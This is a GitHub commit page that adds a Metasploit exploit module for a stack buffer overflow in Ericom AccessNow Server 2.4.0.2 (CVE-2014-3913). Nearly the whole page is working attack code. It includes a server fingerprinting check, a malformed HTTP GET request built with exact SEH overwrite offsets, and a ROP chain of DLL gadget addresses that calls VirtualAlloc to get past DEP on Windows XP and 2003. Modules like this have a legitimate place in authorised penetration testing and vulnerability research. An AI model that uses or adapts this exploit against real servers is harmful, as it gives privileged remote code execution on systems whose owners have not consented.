Skip to content

Commit bab1e30

Browse files
committed
Land rapid7#3460, Ericom AccessNow Server BOF exploit
2 parents 5e12675 + 9af9d2f commit bab1e30

File tree

1 file changed

+135
-0
lines changed

1 file changed

+135
-0
lines changed
Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Ericom AccessNow Server Buffer Overflow',
16+
'Description' => %q{
17+
This module exploits a stack based buffer overflow in Ericom AccessNow Server. The
18+
vulnerability is due to an insecure usage of vsprintf with user controlled data,
19+
which can be triggered with a malformed HTTP request. This module has been tested
20+
successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003
21+
Server SP2.
22+
},
23+
'Author' =>
24+
[
25+
'Unknown', # Vulnerability Discovery
26+
'juan vazquez', # Metasploit Module
27+
],
28+
'References' =>
29+
[
30+
['ZDI', '14-160'],
31+
['CVE', '2014-3913'],
32+
['BID', '67777'],
33+
['URL','http://www.ericom.com/security-ERM-2014-610.asp']
34+
],
35+
'Privileged' => true,
36+
'Platform' => 'win',
37+
'Arch' => ARCH_X86,
38+
'Payload' =>
39+
{
40+
'Space' => 4096,
41+
'BadChars' => "\x00\x0d\x0a",
42+
'DisableNops' => true,
43+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
44+
},
45+
'Targets' =>
46+
[
47+
[ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]',
48+
{
49+
'RopOffset' => 62,
50+
'Offset' => 30668,
51+
'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll
52+
}
53+
]
54+
],
55+
'DisclosureDate' => 'Jun 2 2014',
56+
'DefaultTarget' => 0))
57+
58+
register_options([Opt::RPORT(8080)], self.class)
59+
end
60+
61+
62+
def check
63+
res = send_request_cgi({
64+
'uri' => '/AccessNow/start.html'
65+
})
66+
67+
unless res && res.code == 200 && res.headers['Server']
68+
return Exploit::CheckCode::Safe
69+
end
70+
71+
if res.headers['Server'] =~ /Ericom AccessNow Server/
72+
return Exploit::CheckCode::Appears # Ericom AccessNow 2.4
73+
elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/
74+
return Exploit::CheckCode::Detected # Ericom AccessNow 3
75+
end
76+
77+
Exploit::CheckCode::Unknown
78+
end
79+
80+
def exploit_uri
81+
uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message
82+
uri << rand_text(target['RopOffset'])
83+
uri << create_rop_chain
84+
uri << payload.encoded
85+
uri << rand_text(target['Offset'] - uri.length)
86+
uri << rand_text(4) # nseh
87+
uri << [target.ret].pack("V") # seh
88+
89+
uri
90+
end
91+
92+
def exploit
93+
print_status("#{peer} - Sending malformed request...")
94+
send_request_raw({
95+
'method' => 'GET',
96+
'uri' => exploit_uri,
97+
'encode' => false
98+
}, 1)
99+
end
100+
101+
def create_rop_chain
102+
# rop chain generated with mona.py - www.corelan.be
103+
rop_gadgets =
104+
[
105+
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3
106+
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3
107+
0x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll]
108+
0x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll]
109+
0x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll]
110+
0x101017e6, # XCHG EAX,ESI # RETN [AccessNowAccelerator32.dll]
111+
0x103ba89c, # POP EBP # RETN [AccessNowAccelerator32.dll]
112+
0x103eed74, # & jmp esp [AccessNowAccelerator32.dll]
113+
0x1055dac2, # POP EAX # RETN [AccessNowAccelerator32.dll]
114+
0xffffffff, # Value to negate, will become 0x00000001
115+
0x1052f511, # NEG EAX # RETN [AccessNowAccelerator32.dll]
116+
0x10065f69, # XCHG EAX,EBX # RETN [AccessNowAccelerator32.dll]
117+
0x10074429, # POP EAX # RETN [AccessNowAccelerator32.dll]
118+
0xfbdbcb75, # put delta into eax (-> put 0x00001000 into edx)
119+
0x10541810, # ADD EAX,424448B # RETN [AccessNowAccelerator32.dll]
120+
0x1038e58a, # XCHG EAX,EDX # RETN [AccessNowAccelerator32.dll]
121+
0x1055d604, # POP EAX # RETN [AccessNowAccelerator32.dll]
122+
0xffffffc0, # Value to negate, will become 0x00000040
123+
0x10528db3, # NEG EAX # RETN [AccessNowAccelerator32.dll]
124+
0x1057555d, # XCHG EAX,ECX # RETN [AccessNowAccelerator32.dll]
125+
0x1045fd24, # POP EDI # RETN [AccessNowAccelerator32.dll]
126+
0x10374022, # RETN (ROP NOP) [AccessNowAccelerator32.dll]
127+
0x101f25d4, # POP EAX # RETN [AccessNowAccelerator32.dll]
128+
0x90909090, # nop
129+
0x1052cfce # PUSHAD # RETN [AccessNowAccelerator32.dll]
130+
].pack("V*")
131+
132+
rop_gadgets
133+
end
134+
135+
end

0 commit comments

Comments
 (0)